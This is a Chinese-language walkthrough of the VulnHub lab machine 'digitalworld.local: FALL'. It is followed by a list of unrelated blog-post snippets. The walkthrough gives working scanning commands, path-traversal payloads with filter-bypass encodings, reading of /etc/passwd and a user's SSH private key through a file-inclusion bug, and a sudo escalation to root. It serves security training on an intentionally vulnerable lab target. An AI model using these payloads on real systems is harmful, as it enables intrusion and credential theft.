digitalworld.local: FALL靶场
digitalworld.local: FALL
来自 <digitalworld.local: FALL ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.4
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.4
端口/协议 | 状态 | 服务名称 | 版本/详细信息 | 备注 |
22/tcp | 开放 | SSH | OpenSSH 7.8 (协议 2.0) | 支持三种主机密钥类型:RSA(2048位)、ECDSA(256位)、ED25519(256位) |
80/tcp | 开放 | HTTP | Apache 2.4.39 (Fedora) | - 标题显示"Good Tech Inc's Fall Sales" - robots.txt含1个禁止条目 使用OpenSSL 1.1.0i-fips模块 |
139/tcp | 开放 | NetBIOS-SSN | Samba smbd 3.X - 4.X | 工作组:SAMBA 系统时间显示为2025年(可能配置错误) |
443/tcp | 开放 | HTTPS | Apache 2.4.39 (Fedora) | - 使用自签名SSL证书(CN=localhost.localdomain) 证书有效期:2019-08-15至2020-08-19(已过期) 检测到CMS Made Simple生成器 |
445/tcp | 开放 | NetBIOS-SSN | Samba smbd 4.8.10 | 工作组:SAMBA 计算机名:FALL |
3306/tcp | 开放 | MySQL | 未授权访问 | 可能存在安全风险 |
9090/tcp | 开放 | Cockpit Web | 版本162-188 | 强制HTTPS重定向 未验证SSL证书有效性 |
111/tcp | 关闭 | rpcbind | - | 服务未运行 |
8000/tcp | 关闭 | HTTP-alt | - | 服务未运行 |
8080/tcp | 关闭 | HTTP-proxy | - | 服务未运行 |
8443/tcp | 关闭 | HTTPS-alt | - | 服务未运行 |
4,扫描一下smb服务
5,访问80端口存在的http服务
存在两个人名:qiu,patrick。再扫描爆破网站子目录
dirsearch -u http://192.168.23.4 -x 404,403
然后扫描识别网站指纹
whatweb -v http://192.168.23.4
访问扫描到的网站子目录
http://192.168.23.4/robots.txt
http://192.168.23.4/test.php
提示GET请求参数有问题,需要构造请求参数。模糊测试一下爆破出请求参数
ffuf -u http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd -w /usr/share/wordlists/dirb/big.txt -fs 80
爆出来是file参数
http://192.168.23.4/test.php?file=../../../../../../etc/passwd
文件包含漏洞利用成功
在路径遍历(Path Traversal)攻击中,确定 ../ 的数量(即需要回溯多少层目录)是一个关键步骤,但具体数量取决于 目标应用的上下文路径 和 服务器的文件系统结构。以下是逐步分析:
1. 基本原理
- ../ 的作用:每个 ../ 表示向上一级目录。例如:
plaintext
/var/www/html/test.php # 当前文件路径
../../../../etc/passwd # 需要回溯 4 层到根目录,再进入 /etc/passwd - 目标文件位置:假设目标文件是 /etc/passwd,位于系统的根目录下,你需要从当前路径回溯到根目录,再进入 /etc。
2. 为什么示例中使用 6 个 ../?
在示例命令中:
ffuf -u "http://192.168.23.4/test.php?FUZZ=../../../../../../etc/passwd" -w wordlist.txt -fs 80
使用 6 个 ../ 可能是基于以下假设:
- 默认 Web 目录结构:假设 test.php 位于类似 /var/www/html/ 的路径中。
- /var/www/html/ 需要回溯 3 层到根目录:../../..
- 再附加 /etc/passwd,总共需要 3 + 1 = 4 个 ../(因为 /etc 在根目录下)。
- 但为什么示例用 6 个? 可能是为了覆盖更深或更复杂的目录结构(如容器化环境、多层子目录)。
3. 如何科学确定 ../ 的数量?
方法 1:逐步测试不同层数
直接通过 ffuf 动态生成不同数量的 ../,观察响应差异:
# 生成 1-10 个 ../ 进行测试(FUZZ 替换为不同数量的 ../)
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" \
-w <(for i in {1..10}; do echo "../".repeat($i); done) \
-fs 80
- 解释:通过循环生成 1 到 10 个 ../,测试不同层数的有效性。
方法 2:观察错误响应
- 触发错误:如果使用的 ../ 不足,可能返回 404 Not Found 或空内容。
- 成功标志:如果成功读取 /etc/passwd,响应内容中会包含系统用户信息(如 root:x:0:0: 等字段)。
方法 3:结合已知路径推断
- 如果已知目标服务器的 Web 根目录(如 /var/www/html),计算到根目录需要多少层:
/var/www/html/ → 需要 3 个 ../ 到根目录
/opt/app/web/ → 需要 3 个 ../ 到根目录 - 在此基础上附加 /etc/passwd,共需要 3 + 1 = 4 个 ../。
4. 为什么有时需要更多 ../?
- 容器或虚拟环境:目标应用可能运行在嵌套目录中(如 Docker 容器、多层虚拟化)。
- 符号链接或重定向:服务器配置可能导致实际路径比预期更深。
- 冗余回溯:某些应用会过滤固定数量的 ../,冗余的 ../ 可以绕过过滤(如 ....// 或 ....\/)。
5. 自动化优化技巧
- 使用占位符模糊测试:直接让工具自动尝试不同层数:
# 使用 ffuf 的 "FUZZ" 占位符动态插入不同数量的 ../
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(printf "%s\n" "../" "../.." "../../.." "../../../.." etc.) -fs 80 - 结合响应长度过滤:通过 -fs 或 -fc 过滤掉固定长度的错误响应。
6. 其他注意事项
- 操作系统差异:
- Linux:路径分隔符为 /,目标文件如 /etc/passwd。
- Windows:路径分隔符为 \,可能需要 ..\ 或 URL 编码(如 ..%5c)。
- 编码绕过:
- 对 ../ 进行 URL 编码(如 %2e%2e%2f)或双重编码(如 %252e%252e%252f)。
- 使用非标准表示(如 ....//、..\/)。
- WAF 绕过:
- 某些 Web 应用防火墙(WAF)会检测 ../,可尝试以下变种:
....//
..%252f
%2e%2e%2f
总结
核心逻辑:通过测试不同数量的 ../,找到能成功访问目标文件的最小层数。
推荐实践:使用 ffuf 动态生成层数,结合响应内容长度和关键词过滤结果。例如:
ffuf -u "http://192.168.23.4/test.php?FUZZ=etc/passwd" -w <(for i in {1..10}; do echo $(printf "../%.0s" {1..$i}); done) -fs 80 -mr "root:x:0"
- -mr "root:x:0":匹配响应中包含 root:x:0 的内容(即 /etc/passwd 的标识)
6,尝试利用文件包含漏洞getshell,发现能够文件包含到qiu用户的ssh私钥文件
http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa
wget http://192.168.23.4/test.php?file=../../../../../../home/qiu/.ssh/id_rsa
mv 'test.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fhome%2Fqiu%2F.ssh%2Fid_rsa' id_rsa
chmod 400 id_rsa
ssh qiu@192.168.23.4 -i id_rsa
登录成功,信息收集一下
cat .bash_history
这可能是密码remarkablyawesomE
find / -perm -4000 -print 2>/dev/null
sudo sudo /bin/sh
提权成功,得到flag
相关文章:

digitalworld.local: FALL靶场
digitalworld.local: FALL 来自 <digitalworld.local: FALL ~ VulnHub> 1,将两台虚拟机网络连接都改为NAT模式 2,攻击机上做namp局域网扫描发现靶机 nmap -sn 192.168.23.0/24 那么攻击机IP为192.168.23.182,靶场IP192.168.23.4 3&…...

MySQL---库操作
mysql> create database if not exists kuku3; 1.库操作的语法 create database [if not exists] db_name [create_specification [, create_specification] ...] create_specification: [default] character set charset_name [default] collate collation_name详细解释…...

动态规划算法:字符串类问题(2)公共串
0 前言 上节课我们已经讲述了使用动态规划求取回文串长度与数量的方法(和本节课关系不大,感兴趣可以去看字符串类问题(1)回文串),这节课我们继续探索字符串问题中的动态规划问题。 进入本篇文章前&#x…...
uni-app(5):Vue3语法基础上
Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue.js 的核心是一个允许采用简洁的模板语法来声明式地将数据渲染进 DOM 的系统,只关注视图层,…...

深度解析Vue项目Webpack打包分包策略 从基础配置到高级优化,全面掌握性能优化核心技巧
深度解析Vue项目Webpack打包分包策略 从基础配置到高级优化,全面掌握性能优化核心技巧 一、分包核心价值与基本原理 1.1 为什么需要分包 首屏加载优化:减少主包体积,提升TTI(Time to Interactive)缓存利用率提升&am…...
ubuntu下docker安装mongodb-支持单副本集
1.mogodb支持事务的前提 1) MongoDB 版本:确保 MongoDB 版本大于或等于 4.0,因为事务支持是在 4.0 版本中引入的。 2) 副本集配置:MongoDB 必须以副本集(Replica Set)模式运行,即使是单节点副本集&#x…...

spring-boot-starter-data-redis应用详解
一、依赖引入与基础配置 添加依赖 在 pom.xml 中引入 Spring Data Redis 的 Starter 依赖,默认使用 Lettuce 客户端: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis<…...

5060显卡驱动PyCUDA开发环境搭建
5060显卡驱动PyCUDA开发环境搭建 本文手把手讲解了RTX5060ti显卡从上手尝试折腾,到在最新Ubuntu LTS版本上CUDA开发环境搭建成功的详细流程。 1.1 开机后Ubuntu2404LTS不识别显卡 1.1.1 显卡硬件规格要求 笔者下单的铭瑄电竞之心,安装规格是PCIe …...

redis搭建最小的集群,3主3从
create.sh脚本用于快速部署一个Docker化的Redis集群。首先,脚本创建了一个自定义的Docker网络redis-net,并指定了子网以防止IP变动。接着,脚本设置了宿主机的公网IP,并生成了六个Redis节点的配置文件,每个配置文件都启…...
《帝国时代1》游戏秘籍
资源类 PEPPERONI PIZZA:获得 1000 食物。COINAGE:获得 1000 金。WOODSTOCK:获得 1000 木头。QUARRY:获得 1000 石头。 建筑与生产类 STEROIDS:快速建筑。 地图类 REVEAL MAP:显示所有地图。NO FOG…...

【sylar-webserver】10 HTTP模块
HTTP 解析 这里使用 nodejs/http-parser 提供的 HTTP 解析器。 HTTP 常量定义 HttpMethod HttpStatus /* Request Methods */ #define HTTP_METHOD_MAP(XX) \XX(0, DELETE, DELETE) \XX(1, GET, GET) \XX(2, HEAD, HEAD) …...
攻略生成模块
攻略生成模块 这个模块实现了一个旅行行程规划服务,主要流程如下: 核心思路是通过前端传来的城市和出游天数信息,先在本地数据库中查找是否已存有相应的旅游数据(例如景点、美食等),如果没有就自动检索和…...

海康NVR录像回放SDK原始流转FLV视频流:基于Java的流媒体转码(无需安装第三方插件ffmpeg)
wlinker-video-monitor 代码地址:https://gitee.com/wlinker/wlinker-video-monitor 背景与需求 在安防监控、智能楼宇等场景中,海康威视设备作为行业主流硬件,常需要将录像回放功能集成到Web系统中。然而,海康设备的原始视频流…...
深入理解设计模式:工厂模式、单例模式
深入理解设计模式:工厂模式、单例模式 设计模式是软件开发中解决常见问题的可复用方案。本文将详细介绍两种种重要的创建型设计模式:工厂模式、单例模式,并提供Java实现示例。 一、工厂模式 工厂模式是一种创建对象的设计模式,…...

运维Linux之Ansible详解学习(更新中)
什么是Ansible Ansible 是一款新出现的自动化运维工具,基于 Python 开发。以下是对它的详细介绍: 功能特点:集合了众多运维工具的优点,能实现批量系统配置、批量程序部署、批量运行命令等功能。它是基于模块工作的,本…...

深入浅出IIC协议 - 从总线原理到FPGA实战开发 -- 第三篇:Verilog实现I2C Master核
第三篇:Verilog实现I2C Master核 副标题 :从零构建工业级I2C控制器——代码逐行解析与仿真实战 1. 架构设计 1.1 模块分层设计 三层架构 : 层级功能描述关键信号PHY层物理信号驱动与采样sda_oe, scl_oe控制层协议状态机与数据流控制state…...
网络世界的“变色龙“:动态IP如何重构你的数据旅程?
在深秋的下午调试代码时,我偶然发现服务器日志中出现异常登录记录——IP地址显示为某个境外数据中心。更有趣的是,当我切换到公司VPN后,这个"可疑IP"竟自动消失在了防火墙监控列表中。这个瞬间让我意识到:现代网络架构中…...
进阶-自定义类型(结构体、位段、枚举、联合)
自定义类型:结构体,枚举,联合 结构体 结构体类型的声明 结构的自引用 结构体变量的定义和初始化 结构体内存对齐 结构体传参 结构体实现位段(位段的填充&可移植性) 枚举 枚举类型的定义 枚举的优点 枚举的使用 联合 联合类型的定义 联…...
5G 网络全场景注册方式深度解析:从信令交互到报文分析
摘要 本文全面梳理 5G 网络包含的初始注册、移动性注册更新、紧急注册、周期性注册更新、服务请求触发注册、切换触发注册、基于策略的注册更新等多种注册方式。详细阐述每种注册方式的触发条件、信令流程、关键报文结构,结合对比分析与实际案例,助力读者深入理解 5G 网络接…...

ARM笔记-嵌入式系统基础
第一章 嵌入式系统基础 1.1嵌入式系统简介 1.1.1嵌入式系统定义 嵌入式系统定义: 嵌入式系统是以应用为中心,以计算机技术为基础,软硬件可剪裁,对功能、可靠性、成本、体积、功耗等有严格要求的专用计算机系统 ------Any devic…...
一文讲透golang channel 的特点、原理及使用场景
在 Go 语言中,通道(Channel) 是实现并发编程的核心机制之一,基于 CSP(Communicating Sequential Processes) 模型设计。它不仅用于协程(Goroutine)之间的数据传递,还通过…...

upload-labs通关笔记-第19关文件上传之条件竞争
系列目录 upload-labs通关笔记-第1关 文件上传之前端绕过(3种渗透方法) upload-labs通关笔记-第2关 文件上传之MIME绕过-CSDN博客 upload-labs通关笔记-第3关 文件上传之黑名单绕过-CSDN博客 upload-labs通关笔记-第4关 文件上传之.htacess绕过-CSDN…...

第5章:任务间通信机制(IPC)全解析
💬 在多线程开发中,线程之间如何协作?如何让一个线程产生数据,另一个线程消费数据?本章聚焦 Zephyr 提供的多种任务间通信机制(IPC)及实战使用技巧。 📚 本章导读 你将学到: Zephyr 提供的常用 IPC 接口:FIFO、消息队列、邮箱、信号量 每种机制适用场景和用法对比…...

CAPL自动化-诊断Demo工程
文章目录 前言一、诊断控制面板二、诊断定义三、发送诊断通过类.方法的方式req.SetParameterdiagSetParameter四、SendRequestAndWaitForResponse前言 本文将介绍CANoe的诊断自动化测试,工程可以从CANoe的 Sample Configruration 界面打开,也可以参考下面的路径中打开(以实…...

SVN被锁定解决svn is already locked
今天遇到一个问题,svn 在提交代码的时候出现了svn is already locked,解决方案...

【深度学习】1. 感知器,MLP, 梯度下降,激活函数,反向传播,链式法则
一、感知机 对于分类问题,我们设定一个映射,将x通过函数f(x)映射到y 1. 感知机的基本结构 感知机(Perceptron)是最早期的神经网络模型,由 Rosenblatt 在 1958 年提出,是现代神经网络和深度学习模型的雏形…...

云原生安全:网络协议TCP详解
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 (注:文末附可视化流程图与专有名词说明表) 1. 基础概念 TCP(Transmission Control Protocol)是…...

使用CentOS部署本地DeekSeek
一、查看服务器的操作系统版本 cat /etc/centos-release二、下载并安装ollama 1、ollama下载地址: Releases ollama/ollama GitHubGet up and running with Llama 3.3, DeepSeek-R1, Phi-4, Gemma 3, Mistral Small 3.1 and other large language models. - Re…...
Spring Boot与Eventuate Tram整合:构建可靠的事件驱动型分布式事务
精心整理了最新的面试资料和简历模板,有需要的可以自行获取 点击前往百度网盘获取 点击前往夸克网盘获取 一、引言 在现代微服务架构中,分布式事务管理一直是复杂系统中的核心挑战之一。传统的两阶段提交(2PC)方案存在性能瓶颈&…...
Python:从脚本语言到工业级应用的传奇进化
一、Python的诞生:一场喜剧与编程的奇妙相遇 1989年的冬天,荷兰程序员Guido van Rossum在阿姆斯特丹的CWI研究所里,用一段独特的代码开启了编程语言的新纪元。这个被命名为"Python"的项目,灵感并非源自冷血的蟒蛇,而是源于Guido对英国喜剧团体Monty Python的痴…...